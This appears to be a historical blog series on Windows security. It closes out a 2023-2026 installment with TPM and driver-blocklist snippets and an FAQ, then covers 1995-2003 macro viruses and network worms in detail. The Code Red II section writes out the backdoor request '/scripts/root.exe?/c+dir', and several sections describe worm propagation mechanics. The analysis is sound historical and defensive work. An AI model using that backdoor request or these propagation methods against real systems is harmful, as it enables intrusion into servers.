function classifyTpm(tpm) { if (!tpm.TpmPresent) return "no TPM detected"; if (!tpm.TpmReady) return "TPM present but not ready (clear/initialize via tpm.msc)"; if (tpm.ManufacturerIdTxt === "MSFT") return "Pluton-as-TPM (Microsoft firmware TPM)"; if (tpm.ManufacturerIdTxt === "AMD" || tpm.ManufacturerIdTxt === "INTC") return tpm.ManufacturerIdTxt + " firmware TPM (fTPM); Pluton may be present but not the TPM"; return "discrete TPM by manufacturer " + tpm.ManufacturerIdTxt; }

console.log(classifyTpm(tpm)); `}

{` // PowerShell: Get-WinEvent -LogName 'Microsoft-Windows-CodeIntegrity/Operational' -FilterXPath "*[System[EventID=3077]]" // Event ID 3077 = a driver was blocked from loading. // Representative subset of fields shown below. const events = [ { Id: 3077, FileName: "psmounterex.sys", PublisherName: "Cross-Signed Legacy CA", Action: "Blocked" }, { Id: 3077, FileName: "vulndrv.sys", PublisherName: "WHCP", Action: "Blocked-Driver-Blocklist" }, { Id: 3076, FileName: "okaydriver.sys", PublisherName: "WHCP", Action: "AuditOnly" }, ];

const blockedLoads = events.filter(e => e.Id === 3077 && e.Action.startsWith("Blocked")); for (const e of blockedLoads) { console.log("BLOCKED:", e.FileName, "(" + e.PublisherName + ")"); } `}

Note: The April 2026 vulnerable-driver-blocking list names psmounterex.sys as the first exemplar [@april-2026-driver-kb]. Any third-party tool that depends on it for backup or storage management will fail until the vendor ships a WHCP-signed replacement. Inventory your driver dependency graph before the April 14, 2026 Patch Tuesday lands across your fleet.

The April 2025 SFI progress report states that Entra ID and MSA access-token signing keys are in hardware-backed security modules with automatic rotation, and that the MSA signing service runs in Azure Confidential VMs [@sfi-apr-2025]. This is a Microsoft-side fact about *Microsoft's own tenants and signing services*, not a customer-tunable setting. For your own tenant, the things you can actually verify are: that Conditional Access policies enable CAE (Entra admin center: Conditional Access > Sessions); that your applications validate the `iss`, `aud`, `kid`, and `tid` claims per RFC 8725 [@rfc-8725]; and that any long-lived application secrets you manage are stored in Azure Key Vault Managed HSM with rotation enabled [@azure-managed-hsm]. There is no customer-visible knob for "use the post-SFI signing service" -- the signing service is upstream of your tenant and is managed by Microsoft.

11. Frequently Asked Questions

Seven load-bearing misconceptions of the era. Each gets a short answer with a back-reference to the relevant section.

No. Microsoft's September 6, 2023 post initially hypothesized that path, then retracted it in an in-place edit on March 12, 2024 with the verbatim sentence: "we have not found a crash dump containing the impacted key material" [@msrc-storm0558-key-acq]. The CSRB report (April 2, 2024, page 17) is equally explicit: "Microsoft has been unable to determine how or when Storm-0558 obtained the MSA key" [@csrb-2024]. The acquisition mechanism is, as of May 2026, unknown. See section 3. No. Windows 11 24H2 reached Copilot+ PC RTM on June 18, 2024 and broad-SKU RTM on October 1, 2024; neither shipped Recall. Recall was pulled from the planned June 18, 2024 Copilot+ PC ship date via an in-place editor's note on the June 7, 2024 Davuluri post -- a five-day pull, not "weeks before launch" [@recall-davuluri-jun7-2024]. Recall returned to the Windows Insider Program on November 22, 2024 and reached general availability on May 13, 2025 [@recall-manage-docs]. See section 4.2. No. Microsoft is *transitioning* AV and EDR to user mode via WESP, which opened in MVI 3.0 private preview in July 2025 [@wri-jun26-2025] [@ms-securityweek-wesp]. Microsoft is *separately* deprecating the legacy Cross-Signing Program in the April 14, 2026 Windows security update, beginning in evaluation mode with a 100-runtime-hour and 2-or-3-restart criterion [@techcommunity-cross-signing]. No public document names a hard categorical ban date. WHCP-certified kernel drivers continue to load. See section 4.3. No. PatchGuard prevents in-kernel patching of protected kernel structures by other in-kernel code. It does nothing about a signed, KMCS-trusted, third-party driver loading malformed configuration data into a kernel-resident process -- the CrowdStrike Channel File 291 pattern [@crowdstrike-rca-pdf]. The vendor's own data pipeline is the failure surface PatchGuard was never designed to cover. See section 4.3. The honest answer: SFI has produced measurable deliverables on identity and signing-key custody. The April 2025 report quantifies the identity-SDK validation lift from 73% to 90%, the MSA signing-key move to hardware-backed security modules with automatic rotation, and the MSA signing service migration to Azure Confidential VMs [@sfi-apr-2025]. The September 2024 report formalizes the executive-compensation tie-in [@sfi-sept-2024]. Whether the same compounding occurs on the supply-chain and human-OPSEC axes is the open empirical question. The institutional change is real; whether it durably shifts the security culture is still being measured. See sections 4.1 and 9. No. Pluton can be used *as* a TPM or *with* a discrete TPM. The configuration is OEM-determined and per-SKU [@pluton-docs]. "Pluton present" is not the same as "Pluton acting as TPM"; confirm via `Get-Tpm` and BIOS toggle inspection. See section 4.5. No. SQL Server 2019 Always Encrypted with secure enclaves, generally available November 4, 2019, is the substrate precedent [@sql-always-encrypted-enclaves]. The correct narrower claim is that Recall is the first VBS-Enclave deployment in the Windows desktop shell to face sustained adversarial review by named external researchers. See section 4.2.

Key idea: The 2023-2026 era is the first in NT's history in which the layer above the OS -- the institution's own identity-token custody, the third-party kernel-mode security vendor, and the AI feature application plane -- became the load-bearing security boundary under public scrutiny while the OS layer kept hardening. SFI, WESP, the Recall Generation-3 architecture, and the April 14, 2026 Cross-Signing trust deprecation are Microsoft's first sustained engineering re-architecture of all three soft spots in parallel. Whether the response lands in time for the 2026 ransomware wave is the open forward question of Part 7.

The 2006-2009 EU-engagement settlement was an honest engineering compromise of its time -- the AV industry needed a sanctioned kernel path; Microsoft needed PatchGuard not to be antitrust-actionable; customers needed both. The compromise survived eighteen years because the failure mode the era worried about was the malicious kernel-resident driver, and KMCS plus the Vulnerable Driver Blocklist eventually contained that mode. What it never tested was a non-malicious data-parsing bug in a sanctioned, signed driver at fleet scale. The morning of July 19, 2024 ran that test once. The verdict came in twenty bytes.

Two Months Without Code: The Windows Security Wars Part 1 (1995-2001)

noreply@paragmali.com (Parag Mali) — Sat, 30 May 2026 00:00:00 GMT

Between 1995 and 2001, Microsoft shipped the most-used operating system on Earth into an Internet it was not architecturally prepared for. Concept, Melissa, ILOVEYOU, Code Red, Nimda, and Slammer demonstrated that reactive patching could not win the speed race with weaponized exploits. On Tuesday, January 15, 2002 at 5:22 PM Pacific, Bill Gates sent the roughly 1,500-word "Trustworthy computing" memo. On February 11, 2002, approximately 8,500 Windows engineers stopped writing features and spent about ten weeks and one hundred million dollars on threat modeling, banned-API review, fuzzing, and the first mandatory Final Security Review gate. The result was the Microsoft Security Development Lifecycle (SDL), and every secure-development framework the industry has standardized since (BSIMM, OWASP SAMM, ISO/IEC 27034, NIST SSDF, SLSA, CISA Secure by Design) traces back to it.

1. Two Months Without Code

On Monday, February 11, 2002, in Building 26 of Microsoft's Redmond campus, Brian Valentine -- Senior Vice President of the Windows Division -- told roughly 8,500 Windows engineers to stop writing features [@howard-lipner-push-2003] [@washtech-microsoft-100m] [@msft-news-valentine-mms-2002]. For the next ten weeks they would sit through mandatory secure-coding training, threat-model every component they owned, audit their code against a published banned-API list, and gate-review every change through a Final Security Review checkpoint that had not existed three weeks earlier [@howard-lipner-push-2003] [@lipner-acsac-2004]. The cost: about one hundred million dollars in foregone feature work [@washtech-microsoft-100m]. The order traced, precisely, to a 1,500-word email Bill Gates had sent twenty-seven days earlier at 5:22 PM Pacific [@gates-memo-wired] [@helpwithwindows-billg].

Stop and notice what that means. An operating-system vendor whose product ran on most business desktops on the planet ordered its largest engineering organization to stop shipping the product for two months. The lost revenue is the easy number. The hard number is the implicit admission: a company halts an engineering org of that size only when the cost of not halting is bigger.

What does a company have to lose before its CEO writes that order?

This article is the answer. It traces the seven-year run-up that made halting development the proportionate response, the memo that called the halt, the ten-week operation that followed, and the discipline that pattern became -- the discipline every secure-development framework on the industry shelf in 2026 traces back to.

It is also a quarrel with one sentence. The literal version of the article's working claim is this:

"Microsoft did not have a security team until January 15, 2002."

That sentence is wrong in exactly the way every popular retelling of this era is wrong. Microsoft did have a security team. It had the Microsoft Security Response Center (MSRC), founded in 1998 and reachable from MS98-001 onward [@msrc-org] [@howard-lipner-push-2003]. It had the Secure Windows Initiative (SWI), a small in-house secure-development team running since around 2000 under Michael Howard [@howard-lipner-push-2003]. It had STRIDE, a categorized threat list written internally on April 1, 1999 by Loren Kohnfelder and Praerit Garg [@shostack-tm-book]. It had Howard and David LeBlanc's Writing Secure Code, published by Microsoft Press in November 2001 and reportedly required reading for every Microsoft engineer [@howard-leblanc-wsc]. The methodology, the books, the team, and the published threat list were all in the building.

By section 5, this article earns a stronger -- and defensible -- version of the literal claim. Hold the literal sentence loosely; the corrected one is worth more.

The story turns on six names you will meet in sections 3 and 4: Concept (July 1995), Melissa (March 1999), ILOVEYOU (May 2000), Code Red (mid-July 2001), Nimda (September 2001), and SQL Slammer (January 2003) [@fsecure-concept] [@cert-ca-1999-04-melissa] [@cert-ca-2000-04-iloveyou] [@caida-codered] [@cert-ca-2001-26-nimda] [@caida-slammer]. Each name is also a generation of attack. Each generation broke an assumption the previous defenses had quietly depended on. By the end of 2001, the cumulative effect was a vendor whose customers no longer believed it could keep them safe.

That is what a company loses before its CEO halts development. How it got there takes seven years to tell. Begin at the architectural starting line.

2. Two Windowses, Two Security Stories

The first surprise of the era is structural. There were two Windowses, and only one of them had a security model at all.

The NT line -- Windows NT 3.1 in July 1993, NT 3.5, NT 4.0 in 1996, Windows 2000 in February 2000 -- was the work of David Cutler's team, hired by Microsoft in August 1988 with about twenty colleagues from Digital Equipment Corporation [@zachary-showstopper] [@msft-lifecycle-products]. Cutler had led the VMS operating-system project at DEC, and he carried VMS's engineering discipline into NT: a formal kernel/executive separation, an object manager that treated every kernel-allocated thing as a named object with a security descriptor attached, and a small kernel component called the Security Reference Monitor whose only job was to consult that descriptor on every access attempt [@russinovich-solomon-iw2k] [@msft-access-control].NT was patterned on VMS, not literally inherited from it. DEC threatened legal action against Microsoft over the engineering similarities and Cutler's role; the parties resolved the dispute through the 1995 DEC-Microsoft alliance, in which Microsoft paid roughly $105 million (including $75 million to bolster DEC's NT service-and-support operation) and committed to keeping Windows NT supported on DEC's Alpha processor [@techmonitor-dec-microsoft-alliance] [@zachary-showstopper].

The Win9x line -- Windows 95 in August 1995, Windows 98 in June 1998, Windows Me in September 2000 -- shared a name and a Start menu with NT and almost nothing else [@msft-lifecycle-products]. Underneath, Win9x was a 32-bit graphical shell wrapped around the 16-bit DOS kernel. It had no SIDs, no per-object access control lists, no kernel-mediated access check, no concept of process identity at all. Every process ran with effective access to every file on disk, every key in the registry, and every other process's address space [@russinovich-solomon-iw2k].

The kernel component of Windows NT (and every NT-line OS since: 2000, XP, Vista, 7, 8, 10, 11) that performs the access check on a securable object. When a thread asks to open a file, the I/O manager hands the request to the object manager, which calls the SRM. The SRM compares the access token attached to the thread (which carries the user's SID and the SIDs of every group the user belongs to) against the security descriptor on the object (which carries the DACL listing who is allowed which access rights). If the DACL grants the requested rights, the open succeeds; otherwise it fails with `STATUS_ACCESS_DENIED`. Every securable Windows kernel object carries a security descriptor with two access control lists. The **DACL** (Discretionary Access Control List) is an ordered list of ACEs (Access Control Entries) that grant or deny specific rights to specific principals. The **SACL** (System Access Control List) is the audit list; it tells the kernel which access attempts to log to the Security event log. The owner of an object can edit its DACL; only an administrator with the `SeSecurityPrivilege` right can edit its SACL. A variable-length binary identifier that names a principal -- a user, a group, a computer, a service. SIDs have a defined structure (revision, identifier authority, sub-authorities) and are unique within their authority. Windows uses SIDs internally because they are stable across renames and translatable across trust boundaries; human-readable names like `DOMAIN\jdoe` are convenience labels that get resolved to SIDs before any access check runs.

When a thread on NT asks to open a file, the path through the kernel looks like this:

flowchart TD A[User thread requests open] --> B[I/O Manager builds IRP] B --> C[Object Manager looks up named object] C --> D[Security Reference Monitor] D --> E[Compare access token SIDs against DACL ACEs] E --> F{"Granted rights ≥ desired access?"} F -->|Yes| G[Return handle with granted access mask] F -->|No| H[Return STATUS_ACCESS_DENIED]

That pipeline is what made NT, in principle, a hardened operating system from its first release in 1993. It is the same pipeline every NT-line Windows has executed for thirty-three years; Microsoft's current public reference still describes the same primitives [@msft-access-control].

So why was NT not, in practice, the hardened operating system the architecture promised?

The answer is the load-bearing observation of the era's first half: the primitives existed; the defaults rendered them inert. Through NT 3.1, NT 3.5, NT 4.0, and well into Windows 2000, the default DACL on huge swaths of the filesystem and registry was Everyone: Full Control. The Everyone SID matches every authenticated user and, depending on configuration, often the anonymous logon as well. A DACL that grants Everyone: Full Control is a permission check that always succeeds. Microsoft's documentation of the era is matter-of-fact about this: the defaults were preserved to maintain application-compatibility expectations carried over from the Win9x world, where applications had been written assuming no permission check at all [@russinovich-solomon-iw2k].

On a clean Windows NT 4.0 install, the per-directory ACL table that Microsoft Knowledge Base article Q148437 ("Default NTFS Permissions in Windows NT") preserved verbatim made the gap operationally concrete [@kb-q148437-wayback]. Two directories illustrate the pattern. **`%SystemRoot%\repair`** -- the destination of `rdisk /s`, where the SAM, SECURITY, SOFTWARE, SYSTEM, and DEFAULT registry hives get backed up -- shipped with **`Everyone: Full Control`** [@kb-q148437-wayback]. Any unprivileged interactive user could read or replace the SAM-hive backup. **`%SystemRoot%\system32`** -- the directory the LSA, user-mode subsystems, and print spooler load DLLs from -- shipped with **`Everyone: Change`** (RWXD), so an unprivileged user could write into the system DLL search path [@kb-q148437-wayback]. The same table records two more `Everyone: Full Control` directories in the default install: `%SystemRoot%\system32\spool\drivers\w32x86\1` (print drivers) and `%SystemRoot%\system32\wins` (the WINS service) [@kb-q148437-wayback]. Three of the era's most-exploited primitives -- SAM-hive theft, DLL hijack, print-spooler abuse -- mapped directly to defaults the OS shipped with. Windows 2000 tightened many of these; XP and Server 2003 tightened more; the cleanup was not nominally complete until Vista's UAC redesign in 2006. The architecture did not change. The defaults did.

The Win9x side has no such defense-of-the-defaults story to tell, because Win9x had no access check to default. On a Win98 box, the file c:\windows\system\kernel32.dll was simply a file. Any program could open it, read it, write it, or rename it. The phrase "least privilege" did not apply, because there was no privilege to constrain.

This is the architectural starting line of the era. Two Windowses, two stories, one shared problem: the strongest version had a security model that defaults defeated, and the weakest had no security model to defeat in the first place. Both, in the tens of millions, were about to be connected to a public Internet that did not yet exist when either had been designed.

What happens when you connect that pair of architectures to that network is the next two sections.

3. The Attack Class That Cracked Office (1995-2000)

Open with a small artifact. Sometime in mid-1995, copies of a Microsoft CD-ROM shipped to customers carrying, by accident, the first widely distributed Word macro virus. It was called Concept. Its only payload was a benign dialog and a comment in the macro source that read REM That's enough to prove my point [@fsecure-concept] [@virusencyclopedia-concept].

That was the joke. Then the rest of the industry stopped laughing.

A program that infects documents (rather than executables) by hijacking the document format's embedded scripting language. Word's WordBasic in 1995 and VBA in 1997 could read and write files, manipulate the host application, and -- critically -- run automatically on document open via `AutoOpen` and on document save via `FileSaveAs`. A macro virus is the same shape as a classical file-infector virus, except its host file is `.doc` instead of `.exe` and its execution surface is the application that opens the document, not the operating system that runs the binary. **VBScript** is a Microsoft scripting language, syntactically a subset of Visual Basic, designed for embedding in web pages (in Internet Explorer) and standalone scripts (run by WSH). **Windows Script Host** is the Windows component that executes scripts written in VBScript, JScript, or other registered languages, via the executables `wscript.exe` (windowed) and `cscript.exe` (console). WSH was first shipped with Windows 98 and was available as an optional add-on for NT 4.0 and Windows 95. It was on by default; a `.vbs` file double-clicked in Explorer ran in `wscript.exe` without further confirmation.

The era's three Office-style artifacts each carried a lesson the next one had to escalate past.

Concept (July 1995)

Concept was a WordBasic macro virus written for Microsoft Word 6.x. On document open it ran an AutoOpen macro that copied itself into Word's global template NORMAL.DOT. Every document Word saved from that point on inherited the infection, because every FileSaveAs operation now ran through the infected template's hook [@fsecure-concept].First-in-the-wild detection of Concept is canonically dated to July 1995, per the Microsoft Defender Threat Encyclopedia and the Virus Encyclopedia [@defender-concept-encyclopedia] [@virusencyclopedia-concept]. The "September 1995" date often cited in retellings refers to CIAC Notes 95-12, the bulletin, not the first detection [@ciac-i-023-macro].

Concept was cross-platform: it infected Word for Windows 6.x/7.x and Word for Macintosh 6.x, because WordBasic was portable [@fsecure-concept]. By the time it was named and tracked, copies had shipped on at least one Microsoft CD-ROM and on training materials from at least one other software vendor [@ciac-i-023-macro].

The lesson hidden in Concept is bigger than the virus. Any application that ships with a Turing-complete macro language, an auto-execute hook, and a write-enabled global template ships an execution surface. The user did not have to "run a program"; opening a document was running a program, because the document carried the program inside it. That was the first time the popular distinction between "data" and "executable" failed at consumer scale.

Melissa (March 26, 1999)

Four years later, that lesson met email.

CERT/CC's advisory CA-1999-04 records the moment: "At approximately 2:00 PM GMT-5 on Friday March 26 1999 we began receiving reports of a Microsoft Word 97 and Word 2000 macro virus" [@cert-ca-1999-04-melissa]. The virus was written in VBA (the successor to WordBasic that Office 97 introduced) by a New Jersey programmer named David L. Smith.

It carried the now-standard AutoOpen infection of NORMAL.DOT, but it added something Concept could not have done in 1995: it opened Microsoft Outlook through the MAPI interface, walked the first fifty entries of every address book it could read, and emailed the infected document to each one [@cert-ca-1999-04-melissa]. For good measure, it lowered Office's macro security settings on each infected machine, so the next infected document would run its macro without a prompt [@cert-ca-1999-04-melissa].

The propagation pattern is worth a diagram of its own:

sequenceDiagram participant U as User participant W as Word participant N as NORMAL.DOT participant O as Outlook MAPI participant R as 50 recipients U->>W: Open list.doc attachment W->>W: Fire AutoOpen macro W->>N: Infect NORMAL.DOT W->>O: Read first address book O-->>W: Return 50 entries W->>R: Send list.doc to each R->>U: Recipients open list.doc Note over W,N: Loop repeats per recipient

The math of the loop is uncomfortable. If each infected user has at least one populated fifty-entry address book and a non-trivial fraction of recipients open the attachment, the early growth is geometric in fan-out. No spam filter of the era could outrun it, because the senders were not spammers -- they were the recipient's actual colleagues, sending a document they had actually edited, from a real email address with a real return path. Address-book amplification by trusted senders is, by definition, a self-amplifying email feedback loop.

Melissa's payload was deliberately benign (it inserted a Simpsons quote into the open document on certain dates), but its propagation forced corporate email shutdowns at a long list of Fortune 500 sites within seventy-two hours [@cert-ca-1999-04-melissa].Contemporaneous trade press reported shutdowns at Lockheed Martin, Lucent, Microsoft, and others. The CERT advisory itself describes a "widespread attack affecting a variety of sites" without naming specific companies. Smith was arrested April 1, 1999.

The lesson the industry should have read off Melissa: a macro that can read the address book is not an Office decision; it is a platform decision. Office let macros call Outlook because the COM-automation model invited it; Outlook let other applications read the address book because that was the entire point of MAPI. The trust boundary the user thought was around their inbox was, in API terms, around every other application running as the same user.

ILOVEYOU (May 4-5, 2000)

Thirteen months later, the lesson generalized off the Office platform.

CERT/CC's advisory CA-2000-04 names the attachment: LOVE-LETTER-FOR-YOU.TXT.vbs, with a "Love Letter" subject line and a body asking the recipient to "kindly check the attached LOVELETTER" [@cert-ca-2000-04-iloveyou]. The .vbs extension matters. ILOVEYOU was not a Word macro virus.Popular retellings group Concept, Melissa, and ILOVEYOU as one continuous Office-macro story. They are not. ILOVEYOU was a VBScript / Windows Script Host email worm, executed by wscript.exe when the user double-clicked the attachment in Outlook [@cert-ca-2000-04-iloveyou]. The execution surface is WSH, not Office.

It was a VBScript file -- a script in plain text, executed by wscript.exe. Windows Explorer's default setting, "hide extensions for known file types," hid the .vbs suffix from the filename column. The user saw LOVE-LETTER-FOR-YOU.TXT, an apparently inert text file, and double-clicked it. Explorer handed the file to its registered handler, which was wscript.exe, which ran it.

Once running, the script copied itself into the Windows system directory, registered itself to run at every boot, overwrote files with selected extensions (.jpg, .mp3, .vbs), and -- like Melissa -- mailed itself to every address it could reach through Outlook. BBC News, datelined Thursday May 4, 2000 19:28 GMT, recorded the outbreak appearing first in Hong Kong, sweeping the US State Department, CIA, FBI, Pentagon, White House, and Congress, and the UK House of Commons, the Danish parliament, the Swiss federal government, and banks across Europe within hours, with reports pointing to a Philippine origin [@bbc-love-bug-2000-05-04] [@cert-ca-2000-04-iloveyou]. Trade-press damage estimates of "tens of millions" of infected machines and "billions of dollars" in cleanup were folk-knowledge of the era; the underlying classification as a VBScript / WSH email worm is what survives in the primary record [@cert-ca-2000-04-iloveyou].

The lesson ILOVEYOU should have forced: Windows Script Host was on by default, hidden extensions concealed the executable surface, and Outlook's auto-execute-attachments behavior treated .vbs like any other attachment. Three Microsoft platform decisions, each individually defensible, composed into a one-double-click remote code execution path on a freshly installed Windows 98 machine.

The three artifacts collapse into a single comparison table:

Year	Name	Execution surface	Propagation vector	On by default?	Primary lesson
July 1995	Concept [@fsecure-concept] [@virusencyclopedia-concept]	Word WordBasic macro	Infected document opened in Word	Yes (macro auto-exec)	A document is an executable when the application supports macros.
March 1999	Melissa [@cert-ca-1999-04-melissa]	Word VBA macro	Word + Outlook MAPI; 50 address-book entries per infected host	Yes (macro auto-exec, MAPI access)	A macro with address-book access creates a self-amplifying email storm by trusted senders.
May 2000	ILOVEYOU [@cert-ca-2000-04-iloveyou]	VBScript via Windows Script Host (`wscript.exe`)	Outlook attachment, double-extension hidden by Explorer default	Yes (WSH on by default, extensions hidden)	The "Office macro" attack class generalized to any double-clickable script the platform interpreted.

Document-as-execution-surface had a known fix shape from the moment Concept shipped: disable auto-execute, prompt the user, and -- eventually -- block by default. The block-by-default fix, for Office VBA macros downloaded from the internet, did not fully ship until February 2022, twenty-seven years after Concept [@ms-learn-internet-macros-blocked]. Section 9 walks the deprecation playbook that delay is evidence for.

But document execution is only half of the era's attack story. What happens when the execution surface is not a document the user opened, but a network port a worm reached without the user doing anything at all?

4. The Attack Class That Cracked the Server (2001-2003)

Two dates frame the whole story.

June 18, 2001: Microsoft publishes Security Bulletin MS01-033, "Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise." The bulletin patches an unchecked stack buffer in idq.dll, the Indexing Service ISAPI extension loaded by Internet Information Services (IIS) 4.0 and 5.0. A specially crafted HTTP GET to a URL ending in .ida can overflow the buffer and execute attacker-supplied code in the IIS worker process, which runs as LocalSystem [@ms01-033-idq].

July 19, 2001: thirty-one days later, the second-generation Code Red worm saturates roughly 359,000 IIS servers in under fourteen hours [@caida-codered] [@cert-ca-2001-19-codered]. The worm reaches its victims via a single HTTP GET. No user clicks. No email attachment. No double-click. A web server with port 80 open to the Internet and the unpatched idq.dll is, by definition, already listening for the attack.

A computing monoculture exists when a large population of independently administered hosts run identical software with identical defaults. The security significance is statistical: a single vulnerability discovered in the monoculture's shared software is, in expectation, exploitable against the entire population. The 2001-2003 Windows-server worms (Code Red, Nimda, Slammer) are the canonical case studies; CAIDA's Code Red measurement and Moore et al.'s Slammer measurement are the empirical anchors that made the monoculture argument quantitative rather than rhetorical [@caida-codered] [@caida-slammer].

What kind of defense survives a thirty-one-day patch-to-mass-exploitation window? The next seven months answer that question four different ways.

Code Red I (mid-July 2001)

A Northern California security boutique called eEye Digital Security discovered and reverse-engineered the worm. Marc Maiffret and Ryan Permeh named it "Code Red" after the Mountain Dew flavor they were drinking through the analysis [@eeye-codered-ii].Popular retellings sometimes date the discovery to July 13, 2001. The eEye back-reference in their August 4, 2001 Code Red II advisory points at advisory AL20010717 -- July 17, 2001 [@eeye-codered-ii]. "Mid-July 2001" or "July 17, 2001" is the better-attested date. The Mountain Dew naming detail comes from contemporaneous interviews with the eEye analysts, not the AL20010804 advisory itself.

The initial Code Red variant -- "Code Red v1" -- carried a fixed-seed random-number generator in its IP scanner. Because every infected host generated the same sequence of scan targets, the worm spent most of its scanning budget on the same small set of IP addresses, and its spread was bounded. It was annoying. It was not yet a measurement event.

That changed when somebody fixed the scanner.

Code Red v2 (July 19, 2001)

Code Red v2 was a rewritten worm using the same MS01-033 vulnerability but with a proper random scanner. The fix was tiny -- a different seed and a real entropy source -- and the consequences were huge. The CAIDA measurement, published by Moore, Shannon, and Brown in the Internet Measurement Workshop 2002, recorded the outbreak: "On July 19, 2001, more than 359,000 computers connected to the Internet were infected with the Code-Red (CRv2) worm in less than 14 hours" [@caida-codered] [@cert-ca-2001-19-codered]. The peak rate was over 2,000 newly infected hosts per minute.

The exploit path on each victim looked like this:

sequenceDiagram participant W as Worm host participant V as Victim IIS participant I as idq.dll participant S as LocalSystem shell W->>V: HTTP GET /default.ida + long URL V->>I: ISAPI dispatch to Indexing Service I->>I: Buffer overflow in URL parse I->>S: Shellcode runs in LocalSystem context S->>S: Patch idq.dll in memory, install worm body S->>W: Spawn 100 scanner threads Note over W,V: Each thread tries random IP:80, repeat

The lesson that should have been read off Code Red v2 was a property of the population, not of the worm. The vulnerable population was large (anyone running IIS 4.0 or 5.0 with default modules enabled and the MS01-033 patch not applied), identical (every IIS install shipped the same idq.dll), and reachable (TCP port 80 is by definition Internet-facing on a web server). That set of properties is the operational definition of a monoculture, and Code Red v2 was its first quantitative case study.

Code Red II (August 4, 2001)

Sixteen days after Code Red v2 saturated the IIS population, a different worm appeared with a confusing name. "Code Red II" reused the MS01-033 vulnerability and the same .ida injection vector, but the rest of it was unrelated to v1 or v2. eEye's August 4, 2001 analysis by Permeh and Maiffret documents the difference: where the earlier worms had a self-contained scanner-and-payload binary in memory, Code Red II dropped a copy of cmd.exe named root.exe into the IIS /scripts and /msadc directories, then dropped a trojanized explorer.exe that re-enabled the C: and D: drives as the IIS virtual roots /c and /d [@eeye-codered-ii].

The practical effect: any HTTP GET to /scripts/root.exe?/c+dir on a compromised host returned a directory listing of the victim's C:\ drive, executed in the LocalSystem context. A permanent, anonymous, remote shell, reachable by anyone who knew the URL [@eeye-codered-ii].

The lesson Code Red II adds: one worm's residual artifact is another worm's propagation vector. Patching MS01-033 closed the door that let Code Red II in. It did not close the doors Code Red II left open behind it. A web server infected by Code Red II before its operator patched MS01-033 still had root.exe waiting in /scripts, indefinitely. The patching mental model -- "apply the patch, the bug is fixed" -- mismodels the state.

Nimda (September 18, 2001)

Six weeks later, exactly that mismodeling was exploited.

The Nimda worm appeared on September 18, 2001, one week after the September 11 attacks, which the worm's name initially fed conspiracies about; "nimda" is "admin" backwards. The CERT/CC advisory CA-2001-26 records its four propagation vectors:

"(a) from client to client via email, (b) from client to client via open network shares, (c) from web server to client via browsing of compromised web sites, (d) from client to web server via active scanning for and exploitation of various Microsoft IIS 4.0 / 5.0 directory traversal vulnerabilities" [@cert-ca-2001-26-nimda].

Some retellings give Nimda "five" propagation vectors, conflating distinct sub-paths or counting the reuse of Code Red II's root.exe as a separate vector. CERT's canonical taxonomy, reproduced verbatim above, is four [@cert-ca-2001-26-nimda]. The fifth-vector phrasing in popular retellings is folk-knowledge.

The connected-graph structure matters. The patch for the IIS Unicode directory-traversal bug (MS00-078, originally posted October 17, 2000) had been available for eleven months [@ms00-078-iis-traversal]. The patch for the IE MIME-handling bug (MS01-020, originally posted March 29, 2001) had been available for nearly six months [@ms01-020-ie-mime]. The MS01-033 patch behind Code Red and Code Red II had been available for three months [@ms01-033-idq]. Microsoft shipped the cumulative remediation as MS01-044 [@cert-ca-2001-26-nimda]. Every individual hole had been a known, patched single-issue vulnerability. Nimda took the graph of those holes and walked it.

The lesson is structural. Response treats vulnerabilities as point fixes. Nimda's empirical evidence was that, in a sufficiently large monoculture, the unpatched subsets of multiple vulnerabilities had become connected. Patching is a per-host, per-vulnerability operation; the attacker's view is the union over all hosts of the union over all unpatched vulnerabilities. The latter is a much larger surface.

SQL Slammer (January 25, 2003, 05:30 UTC)

Sixteen months after Nimda, the era's capstone arrived in the form of a 376-byte UDP datagram.

Slammer (also called Sapphire) exploited a buffer overflow in the SQL Server Resolution Service that Microsoft had patched in MS02-039, six months earlier. The payload was small enough to fit in a single UDP packet, and the protocol it targeted (UDP port 1434) was connectionless, so each scan was one packet, sent at line rate. The CAIDA measurement -- Moore, Paxson, Savage, Shannon, Staniford and Weaver, IEEE Security & Privacy 2003 -- is the primary record:

"Sapphire began to infect hosts slightly before 05:30 UTC on Saturday, January 25 (2003). [...] doubled in size every 8.5 seconds. [...] infected more than 90 percent of vulnerable hosts within 10 minutes [...] at least 75,000 hosts, perhaps considerably more [...] over 55 million scans per second." [@caida-slammer]

Popular retellings often round Slammer's reach to "75% of vulnerable SQL servers." The CAIDA primary measurement is ~75,000 hosts as the lower bound, and "more than 90 percent of vulnerable hosts within 10 minutes" as the saturation percentage [@caida-slammer]. The two figures are not the same.

The 8.5-second doubling time is the load-bearing number. Worm spread under random-constant-spread (RCS) scanning follows a logistic curve: exponential at the start, saturating as the worm runs out of vulnerable targets. The differential equation is well behaved and was modeled in detail by Stuart Staniford, Vern Paxson, and Nicholas Weaver at USENIX Security 2002, in a paper that predicted (six months before Slammer) that worms with sufficiently high scan rates would saturate the global vulnerable population in minutes, not hours [@staniford-paxson-weaver-2002].

Plug the parameters in and watch it happen:

{` // SI-style worm spread under random constant scanning. // dN/dt = K * N * (1 - N/V) // Where: // N(t) = infected population at time t (seconds) // V = total vulnerable population // K = effective contact rate per infected host per second // = (scans per second per host) * (V / address-space size) // // Slammer defaults (CAIDA Moore et al. 2003): // ~75,000 vulnerable MSSQL hosts (lower bound) // ~26,000 packets/sec sent from a typical infected host before bandwidth saturation // IPv4 routable space ~ 2^32 addresses, of which ~2^31 reachable // // Result: doubling time ~8.5 s, ~90% saturation in ~10 min.

The simulator says what CAIDA measured: saturation, regardless of where the human patch process starts from, in roughly ten minutes. Read that twice. There is no version of "patch faster" that wins this race. The race ends before a human operator can log in, open the bulletin, download the binary, and apply it. Even if every operator on the planet had been at their console with the patch staged and ready, they could not have outrun an 8.5-second doubling.

